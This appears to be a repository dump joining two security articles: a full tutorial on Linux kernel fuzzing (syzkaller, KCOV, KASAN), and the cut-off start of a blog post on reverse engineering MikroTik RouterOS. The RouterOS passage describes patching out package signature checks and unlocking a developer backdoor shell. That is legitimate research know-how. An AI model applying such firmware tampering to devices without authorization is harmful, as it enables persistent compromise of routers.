WHAT IS FUZZING 22 | Fuzzing is a way to find bugs in programs. 23 | 24 | How does it work? You generate random data, pass it into a program as input, and check whether the program crashed. If it didn’t crash, you generate more random data. If it did – perfect, you have found a bug. It’s assumed that the program shouldn’t crash from unexpected data; it should successfully process it instead. 25 | ![](https://hackmag.com/wp-content/uploads/2021/11/01.png) 26 | 27 | Here’s an example: you take an XML parser and start feeding randomly generated XML files to it. Once the parser crashes – you have found a bug in it. 28 | 29 | Fuzzing can be used to test anything that processes data. This includes apps and libraries in the userspace, the kernel, firmware, or even hardware. 30 | 31 | When you start working on a fuzzer for a specific program, you need to answer the following questions: 32 | 33 | 1. How to run this program? In the case of a userspace app, you just execute the binary. But running the kernel or firmware components isn’t that easy. 34 | 2. What are inputs? An “input” is the data passed to the program for processing. For an XML parser, it’s XML files, while browsers process HTML and execute JavaScript. 35 | 3. How to inject inputs? In the simplest case, the data is passed through the standard input or as a file. But programs can receive data via other channels. For instance, firmware can get it from physical devices. 36 | 4. How to generate inputs? You can use arrays of random bytes as inputs, or you can do something more sophisticated. 37 | 5. How to detect bugs? When the program crashes, it’s a bug. But some bugs don’t result in crashes (for instance, information leaks). However, it’s preferable to detect these kinds of bugs as well. 38 | 6. How to automate the process? You can keep manually launching the program, feeding new data to it, and checking if it crashed. Or you could write a script that does this automatically. 39 | 40 | This article is focused on the Linux kernel, so you can replace the word “program” with “Linux kernel” in each of these questions. Now, let’s try to figure out the answers. 41 | 42 | ### LEGACY APPROACH 43 | Let’s figure out a few simple answers to these questions and thus come up with a basic fuzzing approach. 44 | 45 | #### Running the kernel 46 | First, you need to somehow run the kernel. There are two main ways to do this: use physical devices (PCs, phones, or single-board computers) or use virtual machines – VMs (e.g. QEMU). Each way has its own pros and cons. 47 | 48 | If you use hardware, the kernel is running as it runs in real-world scenarios. For instance, native device drivers are available (unlike a VM, where you only have access to the features it supports). 49 | 50 | On the other hand, hardware is less handy than VMs: it’s harder to update the kernel, reboot the crashed system, and collect logs. Virtual machines are way better from this point of view. 51 | 52 | Another advantage of virtual machines is their scalability. To run your fuzzer on a large number of physical devices, you have to buy them, which can be expensive or complicated logistically. To scale up fuzzing in virtual machines, you can take a powerful PC and run as many VM instances as you want. 53 | 54 | ![](https://hackmag.com/wp-content/uploads/2021/11/Table1.png) 55 | 56 | Considering pros and cons of each method, the use of VMs seems to be preferable. But first, let’s figure out the answers to the rest of the questions. Perhaps, there’s a fuzzing approach that works well regardless of the way the kernel is run. 57 | 58 | #### Generating inputs 59 | What are kernel inputs? The kernel handles system calls (syscalls). How to pass an input to the kernel? Write a program that makes a sequence of syscalls, compile it into a binary, and run it. That’s it: the kernel will now be interpreting your input. 60 | ![](https://hackmag.com/wp-content/uploads/2021/11/02.png) 61 | 62 | Now, let’s figure out what data to pass to syscalls as arguments and in what order to call them. 63 | 64 | The simplest way to generate data is to take random bytes. But this method does not work well: programs, including the kernel, usually expect to receive data in a predefined form. If you pass garbage to them, even the basic correctness checks will fail, and the program will refuse to process the input further. 65 | 66 | A better way is to generate data based on a grammar. For instance, for an XML parser, you can [use](https://www.fuzzingbook.org/html/GreyboxGrammarFuzzer.html#Parsing-and-Recombining-HTML) a grammar that describes an XML file as a sequence of XML tags. This allows to pass basic sanity checks and penetrate deeper into the parser’s code. 67 | 68 | However, this approach needs to be adapted prior to being applied to the kernel. A kernel input is a sequence of syscalls with arguments, not just an array of bytes (even if it’s generated according to a grammar). 69 | 70 | Consider a program consisting of three syscalls: `open`, which opens a file; `ioctl`, which performs an operation with that file; and `close`, which closes the file. 71 | 72 | ```c 73 | int fd = open("/dev/something", …); 74 | ioctl(fd, SOME_IOCTL, &{0x10, ...}); 75 | close(fd); 76 | ``` 77 | For open, the first argument is a string, which can be considered a simple structure with a single fixed field. For ioctl, the first argument is the value returned by open, and the third one is a complex structure with several fields. Finally, the result returned by open is also passed to close. 78 | 79 | This program is a typical input the kernel processes. In other words, kernel inputs are sequences of syscalls whose arguments are structured and whose results can be passed from one syscall to another. 80 | 81 | Overall, this resembles a library API: its calls take structured arguments and return results that can be passed to subsequent calls. Therefore, when you fuzz the kernel using syscalls, you essentially fuzz the API provided by the kernel. I call this approach “API-aware fuzzing”. 82 | 83 | Unfortunately, in the case of the Linux kernel, there is no exact documentation of all possible syscalls and their arguments. There were several attempts to generate this information automatically, but none of them produced comprehensive results. Therefore, the only way to know what syscalls are there and what arguments do they expect is to figure it out by hand. 84 | 85 | So, let’s select several syscalls and develop an algorithm to generate their sequences. For instance, let’s make this algorithm use the result of open and structures of proper types with random fields as ioctl arguments. 86 | 87 | #### [Not] automating 88 | Let’s not bother with automation just yet: the fuzzer will generate inputs in a loop and pass them to the kernel. And you will manually monitor the kernel log for errors (e.g. kernel panics). 89 | 90 | #### Done 91 | Perfect! The provided answers define a simple approach to kernel fuzzing. 92 | ![](https://hackmag.com/wp-content/uploads/2021/11/Table2.png) 93 | 94 | The fuzzer represents a single binary that randomly invokes certain syscalls with more or less correct arguments. Since a binary can be run both on virtual machines and physical devices, the fuzzer is universal in this sense. 95 | 96 | Although the answers were pretty straightforward, this approach works great. If you ask a Linux kernel security expert: “Which fuzzer works this way?”, the answer will be: “[Trinity](https://github.com/kernelslacker/trinity)”! Yes, this kind of fuzzer already exists. One of its advantages is portability. You just drop the binary into any system, run it, and start hunting for kernel bugs. 97 | 98 | ### FOUNDATIONAL APPROACH 99 | Trinity was created a long time ago, and scientific thought in the field of fuzzing has made notable progress since then. Let’s try to enhance Trinity’s approach by using modern ideas. 100 | 101 | #### Collecting coverage 102 | The first idea is to apply the coverage-guided approach to input generation. 103 | 104 | How does it work? In addition to generating random inputs from scratch, you have a set of previously generated ‘interesting’ inputs called corpus. Sometimes, instead of a random input, you take an input from the corpus and slightly modify it. Then you execute the program with the mutated input and check whether it’s ‘interesting’. An input is ‘interesting’ if during its execution the program covers code that wasn’t covered by previously executed inputs. Basically, if the new input allows you to penetrate deeper into the program, you add it to the corpus. This way, you gradually get further and further as more and more interesting programs are being added to the corpus. 105 | ![](https://hackmag.com/wp-content/uploads/2021/11/03.png) 106 | 107 | This approach is used by the two main userspace fuzzing tools: AFL and libFuzzer. 108 | 109 | Coverage-guided approach can be combined with the use of grammar. When you mutate a structure, you can do it according to its grammar instead of just flipping bytes randomly. If the input is a sequence of syscalls, then you can mutate it by adding or removing calls, rearranging them, or changing their arguments. 110 | 111 | For coverage-guided Linux kernel fuzzing, you need a tool that collects code coverage from the kernel. KCOV was developed for this purpose. It requires access to the kernel source code, which is usually available. To use KCOV, you have to rebuild the kernel with the CONFIG_KCOV option enabled. After that, you can collect code coverage via /sys/kernel/debug/kcov. 112 | > INFO:KCOV allows to collect kernel code coverage from the current thread ignoring background processes. This way, the fuzzer only collects relevant coverage that corresponds to the syscalls it executes. 113 | 114 | #### Detecting bugs 115 | Now, let’s figure out a better way to detect kernel bugs than waiting for a kernel panic. 116 | 117 | A panic works poorly as a bug indicator. First, some bugs don’t cause it (e.g. the above-mentioned info-leaks). Second, in case of a memory corruption, kernel panic might occur much later than the corruption itself. In this case, it’s hard to localize the bug: it’s unclear which of the recent fuzzer actions has caused it. 118 | 119 | To solve these problems, dynamic bug detectors have been invented. The word “dynamic” means that these detectors work while the program is running. They analyze its actions based on their algorithm and report an abnormal situation when it’s detected. 120 | 121 | There are a few dynamic bug detectors for the Linux kernel. The most notable one is [KASAN](https://www.kernel.org/doc/html/latest/dev-tools/kasan.html). It’s notable not because I worked on it, but because it detects the main types of memory corruptions: out-of-bounds and use-after-free accesses. To use KASAN, enable the `CONFIG_KASAN` option and rebuild the kernel. KASAN will be running in the background and report identified bugs to the kernel log. 122 | > INFO 123 | Learn more about dynamic bug detectors for the Linux kernel from the [Mentorship Session: Dynamic Program Analysis for Fun and Profit](https://www.youtube.com/watch?v=ufcyOkgFZ2Q) talk by Dmitry Vyukov ([slides](https://linuxfoundation.org/wp-content/uploads/Dynamic-program-analysis_-LF-Mentorship.pdf)). 124 | 125 | 126 | #### Automating 127 | There are plenty of things that can be automated when it comes to fuzzing, including: 128 | 129 | * monitoring kernel logs for crashes and reports of dynamic detectors; 130 | * restarting virtual machines with crashed kernels; 131 | * trying to reproduce crashes by rerunning the last few inputs that were executed right before the crash; and 132 | * reporting found bugs to kernel developers. 133 | 134 | How to implement all these functions? Write the code and add it to your fuzzer. A purely engineering task. 135 | 136 | #### All together 137 | Let’s put together the three ideas discussed above – coverage-guided fuzzing, dynamic detectors, and automation – and incorporate them into the fuzzer. The overall picture becomes as follows. 138 | ![](https://hackmag.com/wp-content/uploads/2021/11/Table3.png) 139 | 140 | Now, if you ask an expert what kernel fuzzer uses these approaches, the answer will be: [“syzkaller”](https://github.com/google/syzkaller). Currently, syzkaller is the most advanced public Linux kernel fuzzer. It has found [thousands](https://syzkaller.appspot.com/) of bugs, including multiple exploitable vulnerabilities. Many people involved with Linux kernel fuzzing use this tool. 141 | 142 | > INFO 143 | Some people believe that KASAN is an integral part of syzkaller. This is not true: KASAN can be used with Trinity, as well as syzkaller can be used without KASAN. 144 | 145 | ### CHARGED IDEAS 146 | The application of syzkaller’s ideas is a solid approach to kernel fuzzing. But let’s go further and explore other notable methods. 147 | 148 | #### Running kernel code in userspace 149 | So far, I mentioned two ways to run the kernel for fuzzing purposes: using virtual machines and using physical devices. But there is a third way: you can pull the kernel code into userspace. To do this, you have to take some isolated subsystem and compile it as a library. Then you can fuzz it with userspace fuzzing tools. 150 | 151 | For some subsystems, pulling the code to userspace isn’t difficult. If a subsystem allocates memory with `kmalloc`, frees it with `kfree`, and these are the only kernel functions it uses, then you can replace `kmalloc` with `malloc` and `kfree` with `free`. After that, you can compile the code as a library and fuzz it using the above-mentioned [libFuzzer](https://llvm.org/docs/LibFuzzer.html). 152 | 153 | However, for most subsystems, this approach would cause problems. The required subsystem may use an API that is not available in userspace (e.g. RCU). 154 | 155 | > INFO 156 | [RCU](https://en.wikipedia.org/wiki/Read-copy-update) (Read-Copy-Update) is a synchronization mechanism used in the Linux kernel. 157 | 158 | Another disadvantage of this approach is that the kernel code you have pulled into userspace might be updated, and then you’ll have to pull it out again. Of course, you can try to automate this process, but this might not be easy to implement. 159 | 160 | Still, this approach was used to fuzz [eBPF](https://github.com/iovisor/bpf-fuzzer), [ASN.1 parsers](https://www.x41-dsec.de/lab/blog/kernel_userspace/), and the networking subsystem of the XNU kernel. 161 | 162 | #### Fuzzing external interfaces 163 | Syscalls are used to pass data from userspace to the kernel. But since the kernel is a layer between user programs and the hardware, it also receives inputs from the device side. 164 | ![](https://hackmag.com/wp-content/uploads/2021/11/04.png) 165 | 166 | In other words, the kernel processes data received over Ethernet, USB, Bluetooth, NFC, mobile networks, and other hardware protocols. 167 | 168 | For instance, you send a TCP packet to the system. The kernel must parse it in order to understand which port the packet was sent to and what app it should be delivered to. By sending randomly generated TCP packets, you can fuzz the kernel network subsystem from the external side. 169 | 170 | But how to pass data into the kernel over external interfaces? Syscalls can be injected by executing a binary, but this approach won’t work if you want to communicate with the kernel via USB. 171 | 172 | You can transmit data using hardware: for instance, send network packets over a network cable or use [Facedancer](https://github.com/greatscottgadgets/Facedancer) for USB. Unfortunately, this approach doesn’t scale. Instead, it would be great to use virtual machines. 173 | 174 | There are two solutions. 175 | 176 | The first one is to write your own driver, and plug it into the proper place in the kernel to simulate the delivery of data over a hardware protocol (you will use syscalls to pass data to the driver). For certain interfaces, such drivers are already present in the kernel. 177 | 178 | For instance, I fuzzed the network subsystem via [TUN/TAP](https://www.kernel.org/doc/html/latest/networking/tuntap.html). This interface allows injecting network packets into the kernel, and these packets go through the same parsing paths as if they were received from an external sender. For USB fuzzing, I had to write [my own driver](https://www.kernel.org/doc/html/latest/usb/raw-gadget.html). 179 | 180 | The second solution is to pass the input to the VM’s kernel from the host. If the virtual machine emulates a network card, it can also emulate a packet going through this network card. 181 | 182 | This approach is utilized in the [vUSBf](https://github.com/schumilo/vUSBf) fuzzer. It uses QEMU and the [usbredir](https://www.spice-space.org/usbredir.html) protocol making it possible to connect USB devices to the virtual machine’s kernel from the host side. 183 | 184 | #### Beyond the scope of API-aware fuzzing 185 | 186 | What is a syscall? On the one hand, it’s a sequence of calls with structured arguments where result of one syscall can be used in another one. However, not all syscalls work in this simple way. 187 | 188 | Take, for instance, `clone` and `sigaction`. Yes, they also accept arguments and can return a result. However, they spawn another execution thread. `Clone` creates a new process, while `sigaction` allows you to set up a signal handler to pass the control to when a signal comes. 189 | 190 | A fuzzer that targets these syscalls must take such features into account (e.g. fuzz from each spawned execution thread). 191 | 192 | ### Complex subsystems 193 | Instead of taking simple structures as inputs, some subsystems (e.g. eBPF and KVM) accept sequences of executable instructions. Generating a correct chain of instructions is a much more difficult task than generating a correct structure. Specialized fuzzers are required for these subsystems. Something like [fuzzilli](https://github.com/googleprojectzero/fuzzilli), a fuzzer for JavaScript interpreters. 194 | 195 | #### Structuring external inputs 196 | Imagine you fuzz the network subsystem externally. It might seem that fuzzing via network packets is limited to generating and sending regular structures. But in fact, the network operates as an API from the external point of view. 197 | 198 | Consider fuzzing TCP. Let’s say there is a socket on the host, and you want to connect to it over the network. It seems simple: you send a SYN, the host responds with a SYN/ACK, you send an ACK – and that’s it, the connection is established. But the received SYN/ACK packet contains [the acknowledgment number](https://en.wikipedia.org/wiki/Transmission_Control_Protocol#Connection_establishment) that you must insert into your ACK packet. Essentially, this number is a return value sent by the kernel to the external actor. 199 | 200 | In other words, the external interaction with a TCP socket over the network involves a sequence of calls (sending packets) whose return values (acknowledgment numbers) are used in subsequent calls. Therefore, the network operates as an API, and the API-aware fuzzing ideas are applicable here. 201 | 202 | ### USB 203 | USB is an unusual protocol: all communication is initiated by the host. Therefore, even if you find a way to connect USB devices for fuzzing purposes, you can’t simply send data to the host. Instead, you have to wait for a request from the host and respond to this request. Unfortunately, you don’t always know what request is going to come next. A suitable fuzzer for the USB protocol must take this feature into account. 204 | 205 | #### Alternatives to KCOV 206 | How else can you collect kernel code coverage (aside from using KCOV)? 207 | 208 | First, you can use emulators. Imagine a virtual machine emulating the kernel instruction by instruction. You can hack into the emulation loop and collect instruction addresses from there. An advantage of this approach is that, unlike KCOV, you don’t need the kernel source code. As a result, this method can be applied to proprietary kernel modules that are only available as binaries. This is how the [TriforceAFL](https://raw.githubusercontent.com/nccgroup/TriforceAFL/master/slides/ToorCon16_TriforceAFL.pdf) and [UnicoreFuzz](https://www.usenix.org/system/files/woot19-paper_maier.pdf) fuzzers work. 209 | 210 | Another way is to collect coverage using hardware features of the CPU. For instance, [kAFL](https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-schumilo.pdf) uses [Intel PT](https://www.intel.com/content/www/us/en/developer/tools/overview.html). 211 | 212 | Note, that the above-mentioned implementations of these approaches are experimental and need refinement for practical usage. 213 | 214 | #### Collecting relevant coverage 215 | For coverage-guided fuzzing, you need to collect code coverage relevant to the subsystem you are fuzzing. 216 | 217 | Collecting coverage from the current thread doesn’t always work: the subsystem may handle inputs in other contexts. A syscall might create a new kernel thread and process the input there. For instance, USB packets are processed in global threads that are launched during the kernel boot and aren’t bound to any userspace context. 218 | 219 | To solve this issue during my fuzzing endeavors, I implemented in KCOV [the possibility](https://www.kernel.org/doc/html/latest/dev-tools/kcov.html#remote-coverage-collection) to collect coverage from background threads and softirqs. This feature requires adding annotations to the code sections you want to collect coverage from. 220 | 221 | #### Beyond the scope of code coverage 222 | Relying on code coverage isn’t the only way to guide the fuzzing process. 223 | 224 | For instance, by tracking the state of kernel memory areas or its internal objects, you can see what inputs change this state and add them to the corpus. 225 | 226 | The more complex kernel state is achieved during fuzzing, the greater is the chance that you encounter a situation the kernel doesn’t handle correctly. 227 | 228 | #### Collecting a seed corpus 229 | Another way to generate inputs is to do it based on actions of existing programs. They might interact with the kernel in nontrivial ways and penetrate deep into the kernel code. Even a very smart fuzzer might not be able to generate sequences of syscalls that lead to such interactions from scratch. 230 | 231 | This approach is utilized in the [Moonshine](https://github.com/shankarapailoor/moonshine) project: its authors ran some system tools under `strace`, collected a log from them, and used the resulting sequences of syscalls as seed corpus for fuzzing with syzkaller. 232 | 233 | #### Detecting more bugs 234 | The existing dynamic detectors aren’t perfect and can’t detect certain types of bugs. How to find such bugs? Enhance the detectors! 235 | 236 | You can, for instance, take KASAN (to remind: it finds memory corruptions) and [add annotations](https://elixir.bootlin.com/linux/v5.12/source/mm/mempool.c#L104) for some new allocator. By default, KASAN supports the standard kernel allocators such as `slab` and `page_alloc`. But there are drivers that allocate a large memory chunk of memory and then break it into smaller blocks, essentially implementing a custom allocator (hello Android!). In this case, KASAN won’t be able to find an overflow from one block to another. This requires to manually add annotations for this allocator. 237 | 238 | There is also another tool called KMSAN that can detect information leaks. By default, it searches for leaks of kernel data to userspace. But data can also leak through external interfaces: over the network or USB. KMSAN can be [specially](https://github.com/google/kmsan/commit/803c8a2c0a01ede81ac1e44851546877ac826b00#diff-8a63278a1ca43570bc864ac1c3576a372d82a39ab619957b48bf4118d8482fa9R421) [modified](https://github.com/google/kmsan/commit/33f469b212be1e134c664b30f348a0e4b15cb71b#diff-5c5340e02ba45938844a903fa8fc2caad3c8fccbccd4b2a980a5afe3fa94604dR322) to detect such leaks too. 239 | 240 | You can also create your own bug detectors from scratch. The easiest way is to add asserts to the kernel code. If you know that a certain condition must always be met in a certain place, just add `BUG_ON` and start fuzzing. If `BUG_ON` gets triggered, then you have found a bug (and also created a basic logical error detector). Such detectors are of special interest when fuzzing eBPF, because eBPF errors usually don’t result in memory corruption and go unnoticed. 241 | 242 | ### SUMMARY AND TIPS 243 | Overall, there are three approaches to Linux kernel fuzzing: 244 | 245 | * Using a userspace fuzzer. You either take a fuzzer like [AFL](https://github.com/google/AFL) or [libFuzzer](https://llvm.org/docs/LibFuzzer.html) and make it call syscalls instead of functions of a userspace program. Or you pull the kernel code into userspace and fuzz it there. These methods work fine for subsystems that process structures because userspace fuzzers are primarily focused on byte array mutations. Examples: [fuzzing file systems](https://lwn.net/Articles/685182/) and [Netlink](https://blog.cloudflare.com/a-gentle-introduction-to-linux-kernel-fuzzing/). For coverage-guided fuzzing, you have to integrate coverage collection from the kernel into the fuzzing algorithm. 246 | * Using [syzkaller](https://github.com/google/kmsan/commit/33f469b212be1e134c664b30f348a0e4b15cb71b#diff-5c5340e02ba45938844a903fa8fc2caad3c8fccbccd4b2a980a5afe3fa94604dR322). It’s perfect for API-aware fuzzing. The fuzzer uses a special language, [syzlang](https://github.com/google/syzkaller/blob/master/docs/syscall_descriptions_syntax.md), to describe syscalls and their return values and arguments. 247 | * Writing your fuzzer from scratch. This is a great way to [learn](https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html) how fuzzing works from the ground up. In addition, this approach enables you to fuzz subsystems with [unusual](https://scannell.me/fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel/) [interfaces](https://blogs.oracle.com/linux/post/fuzzing-the-linux-kernel-x86-entry-code-part-1-of-3). 248 | 249 | ### Syzkaller tips 250 | * Don’t just use syzkaller on a standard kernel with a standard config – you won’t find anything. Many researchers fuzz the kernel, both manually and with syzkaller. In addition, there is [syzbot](https://syzkaller.appspot.com/), which has been fuzzing many standard kernel flavors in the cloud for years. Do something new instead: write new syscall descriptions or use a nonstandard kernel config. 251 | * Syzkaller can be improved and extended. When I was [fuzzing USB](https://docs.google.com/presentation/d/1z-giB9kom17Lk21YEjmceiNUVYeI6yIaG5_gZ3vKC-M/edit), I implemented an additional USB-specific module on top of syzkaller. 252 | * Syzkaller can be used as a framework. For instance, you can only use the code that parses the kernel log. Syzkaller recognizes hundreds of different error report types, and you may use this component in your fuzzer. Or you can use the virtual machine management code instead of writing it yourself. 253 | 254 | How do you know whether your fuzzer is working well? Of course, if it finds new bugs, everything is fine. But what if it doesn’t? 255 | 256 | * Check code coverage. If you are fuzzing a specific subsystem, make sure that your fuzzer covers all of its interesting parts. 257 | * Add artificial bugs to the subsystem you fuzz. For instance, add asserts and check whether the fuzzer can reach them. This recommendation is similar to the previous one, but it works even if your fuzzer doesn’t collect code coverage. 258 | * Revert patches for fixed bugs and make sure your fuzzer finds them. 259 | 260 | If your fuzzer covers all of the code you are interested in and finds previously fixed bugs, most likely it’s working as intended. If it doesn’t find new bugs, then either the code is indeed bug-free, or the fuzzer doesn’t put the kernel in a sufficiently complex state. 261 | 262 | Two final tips: 263 | 264 | * Write the fuzzer based on the code, not documentation. Documentation may be inaccurate. The source of truth is always the code. For instance, while working on my USB fuzzer, I noticed that the subset of protocols actually supported by the kernel is different from the one described in the documentation. Relying on documentation only would make me miss a part of functionality that could be fuzzed. 265 | 266 | * Focus on making the fuzzer smart before making it fast. “Smart” means generating accurate inputs, collecting relevant coverage, etc. “Fast” means processing more inputs per second. For more information on the “smart vs. fast” issue, see this [article](https://mboehme.github.io/paper/FSE20.EmpiricalLaw.pdf) and [this discussion](). 267 | * Focus on making the fuzzer smart before making it fast. “Smart” means generating accurate inputs, collecting relevant coverage, etc. “Fast” means processing more inputs per second. For more information on the “smart vs. fast” issue, see this [article](https://mboehme.github.io/paper/FSE20.EmpiricalLaw.pdf) and [this discussion](https://twitter.com/andreyknvl/status/1263984766187175938). 268 | 269 | ### CONCLUSIONS 270 | Developing fuzzers is engineering work that requires engineering skills: systems design, programming, testing, debugging, and benchmarking. 271 | 272 | This leads to two conclusions. First, to implement a simple fuzzer you only need basic programming skills. Second, to write an outstanding fuzzer, you need excellent engineering skills. The main reason why syzkaller is so successful is the huge amount of engineering experience and time invested into it. 273 | 274 | That’s it! I am looking forward to seeing a new original fuzzer written by you! 275 | > WWW 276 | See more materials about Linux kernel fuzzing and exploitation in [my GitHub collection](https://github.com/xairy/linux-kernel-exploitation) and on the [LinKerSec](https://t.me/linkersec) Telegram channel. 277 | 278 | -------------------------------------------------------------------------------- 279 | 280 | via: https://hackmag.com/security/linux-fuzzing/ 281 | 282 | 作者:[xairy][a] 283 | 选题:[Licae][b] 284 | 译者:[译者 ID](https://github.com/译者 ID) 285 | 校对:[校对 ID](https://github.com/校对 ID) 286 | 287 | [a]: https://hackmag.com/author/xairy/ 288 | [b]: 选题链接 URL 289 | [1]: 图片链接地址 290 | [2]: 文内链接地址 -------------------------------------------------------------------------------- /sources/tech/20220611 PULLING MIKROTIK INTO THE LIMELIGHT.md: -------------------------------------------------------------------------------- 1 | [#]: collector: (选题人 Licae) 2 | [#]: translator: ( ) 3 | [#]: reviewer: ( ) 4 | [#]: publisher: ( ) 5 | [#]: subject: (PULLING MIKROTIK INTO THE LIMELIGHT) 6 | [#]: via: (https://margin.re/blog/pulling-mikrotik-into-the-limelight.aspx) 7 | [#]: author: (Harrison Green & Ian Dupont https://margin.re/blo) 8 | [#]: url: ( ) 9 | 10 | PULLING MIKROTIK INTO THE LIMELIGHT 11 | ======= 12 | ![](https://margin.re/attachments/limelight_0.png) 13 | So, you want to start reverse engineering MikroTik routers. Where do you start? As opposed to many routers which act more as a collection of independent binaries for each service, MikroTik devices implement a system of interconnected binaries which perform tasks for one another. Unfortunately, there is limited publicly available information about how this system-wide implementation works, and the good, technical information available is now a few years old. In that time, MikroTik released a number of minor version updates and one major revision software upgrade, making some of the technical details obsolete. 14 | 15 | Consequently, we are left generally in the dark as to how MikroTik works, and digging into its dense, hand-rolled C++ binaries filled with custom library calls is a daunting task. 16 | 17 | This blog post, which overviews [our presentation at REcon 2022](https://margin.re/attachments/Pulling_MikroTik_into_the_Limelight.pdf), outlines key knowledge and introduces tools that we created during our research over the past handful of months. 18 | 19 | The goal of that talk, and this post, is to refresh the publicly available MikroTik knowledge and provide a crash course on MikroTik internals that will bring you from potentially zero experience to a point where you are familiar and comfortable with key MikroTik concepts and abstractions. 20 | 21 | This knowledge will jump-start your research, tool development, or whatever MikroTik-related tinkering in which you are interested. Let's get started! 22 | 23 | ### Overview 24 | We approach our overarching goal in four ways: first, we dive into MikroTik's RouterOS operating system, understanding how it loads firmware and boots processes. Specifically, we focus on how firmware packages are cryptographically signed, and how we can bypass signing to obtain a developer shell in a MikroTik RouterOS virtual machine. Next, we focus on a key concept central to MikroTik: its proprietary messaging protocol used for IPC. Third, we dive into how we can authenticate to different services, specifically reviewing a proprietary, hand-rolled cryptographic protocol used for multiple publicly exposed services. Finally, we introduce a novel post-authentication jailbreak for MikroTik devices running v6 firmware (current long-term release branch) that pops a shell on any virtual or physical device. 25 | 26 | 1. Diving Deep into RouterOS Internals 27 | 2. RouterOS IPC 28 | 3. Hand-rolled Authentication 29 | 4. Jailbreaking RouterOS 30 | ### Diving Deep into RouterOS Internals 31 | 32 | #### NPK Files and Backdoors 33 | Unlike some IoT devices which frustratingly require intercepting software downloads or extracting firmware directly from hardware, MikroTik hosts its proprietary firmware on its software downloads page. This conveniently allows us to investigate firmware components and understand how RouterOS, MikroTik’s customized operating system, is organized. Opening up the file system, we see the following components: 34 | 35 | * /flash/rw/{disk, logs, tmp, store...} - writable region 36 | * /lib - core libraries 37 | * /nova/bin - system binaries 38 | * /nova/lib - system libraries 39 | * /nova/etc - system configuration 40 | * /pckg/{name}/nova/{bin, lib, etc} - package data 41 | 42 | RouterOS software is distributed in .npk files (which we think stands for “nova package”). In recent versions of RouterOS, each NPK file contains a squashfs with the package data along with a cryptographic signature that RouterOS verifies during installation and every reboot. 43 | 44 | ![](https://margin.re/attachments/limelight_1.png) 45 | 46 | While RouterOS is locked down - meaning we cannot easily get a developer shell - there is a known backdoor that has existed for a long time. Specifically, if we login as the `devel` user with the admin password and have the `option` package installed, RouterOS launches `/pckg/option/bin/bash` instead of the default restricted shell. 47 | 48 | That is exactly what we want for security research! However, there are two problems: 49 | 50 | * The `option` package does not exist outside of MikroTik offices (of course...) 51 | * Packages are signed, which means we cannot easily construct our own `option` package 52 | 53 | In some previous versions of RouterOS it was possible to leverage known CVEs to “install” the option package post-boot and enable this developer backdoor. See [Jacob Baines’s Cleaner Wrasse program](https://github.com/tenable/routeros/tree/master/cleaner_wrasse) for an example of an automated tool that accomplishes this. 54 | 55 | *However, since version 6.44 (2019), this tool no longer works and we need a different strategy…* 56 | 57 | #### Bypassing Signature Validation 58 | Since we are hackers with unfettered access to the RouterOS firmware, let's go straight to the source and figure out how RouterOS actually validates packages. After a bit of poking around, we discover that package validation occurs in the `init` binary, a part of the compressed `initrd.rgz` file located in the disk image's boot sector. 59 | 60 | ![](https://margin.re/attachments/limelight_2.png) 61 | 62 | Luckily for us, the `init` binary invokes a single function to validate each package. We can find this function by looking for a reference to the `%s/flash/var/pdb/%s/disabled` string. In pseudo-code, the function works as follows: 63 | 64 | ```c 65 | int check_signature(...){ 66 | // magic 67 | snprintf(buf, 0x80, "%s/flash/var/pdb/%s/disabled"); 68 | return is_valid; 69 | } 70 | ``` 71 | All we need to do to bypass signature validation is find this function and patch it to return 1 every time. However, we run into a problem when we try to recompress this and patch our original `initrd.rgz…` 72 | 73 | It turns out that the kernel is very finicky about what `initrd.rgz` looks like. Specifically, we need to make sure that we match the expected size (both compressed and decompressed) and also the exact position in the disk image. If we do not match these properties then the kernel fails to decompress `initrd.rgz` and the router fails to boot. 74 | 75 | #### The "Entropy Trick" 76 | 77 | To solve the first two constraints, we make use of an “entropy trick.” Specifically, we create a dummy file, `pad`, inside our `initrd` directory and adjust its size to match the decompressed size of the original `initrd` directory. Then, by adjusting the amount of entropy in the file, we control the compressed size of `initrd.rgz`: 78 | 79 | ![](https://margin.re/attachments/limelight_3.png) 80 | 81 | For example, if `pad` contains all zeros (low entropy), its compressed size is small. On the other hand, if `pad` contains all random bytes (high entropy), its compressed size is large. As long as our target size falls between these two extremes, we can perform a binary search on the ratio of zeros to random bytes in order to exactly match the original compressed size. 82 | 83 | #### Ctrl+H 84 | Unfortunately, if we now mount the filesystem in the boot image and copy over our modified `initrd.rgz` file, the kernel still won’t boot. This is because the kernel expects that `initrd.rgz` resides at a very specific location in the boot image. When we mount the filesystem and copy the file, it adjusts the position of the actual data. This problem is relatively easy to fix; we can simply do a find-and-replace for every 512 byte sector of the original `initrd.rgz` and swap it with our modified `initrd.rgz`. This strategy effectively operates on the raw bytes in the disk image instead of mounting the boot sector as a filesystem. 85 | 86 | ![](https://margin.re/attachments/limelight_4.png) 87 | 88 | 89 | #### Unlocking the Backdoor 90 | Now that we have successfully patched out signature validation, we are free to install a fake `option` package (with an invalid signature) and enable our persistent developer backdoor! 91 | 92 | It is also helpful to include busybox in the `option` package for reverse engineering research, since recent versions of RouterOS do not actually ship with any standard `/bin` tools. 93 | 94 | Once we reboot, we can simply `telnet -l devel ` and provide the admin password to get a familiar bash shell! 95 | ![](https://margin.re/attachments/limelight_5.png) 96 | 97 | ### RouterOS IPC 98 | #### Nova Messages 99 | MikroTik designs RouterOS in a very modular fashion. The operating system contains more than 80 processes which communicate with each other through internal messages, and each process is generally responsible for one specific feature. For example, the `user` binary handles authentication for all other processes. 100 | 101 | Upon boot, the `init` process spawns `/nova/bin/loader` which is RouterOS’s main control process. `loader` is responsible for spawning all of the other processes and managing interprocess communication. In some sense, `/nova/bin/loader` is “the router’s router.” 102 | 103 | RouterOS implements the bulk of its IPC in the `libumsg.so` shared library. This library contains methods for serializing and deserializing messages, constructing abstraction layers to handle requests, and facilitating process-wide communication abstractions. The extensive utilization of this custom framework across RouterOS binaries is one of the things that makes RouterOS a difficult reverse engineering target. 104 | 105 | So let’s break it down together. 106 | 107 | We’ll start with the core player: “Nova Message” (`nv::message` internally). A nova message is a typed, key-value mapping. It comes in two flavors: a pseudo-JSON variant (now deprecated), and a serialized binary variant. You can recognize the binary messages because they always start with `M2` in ascii: 108 | ![](https://margin.re/attachments/limelight_6.png) 109 | 110 | #### Dissecting a Message 111 | Reverse engineering this message protocol shows that there are six types of data, which can each exist as a single value or as a list. We include the following cheat sheet to describe the serialization format in 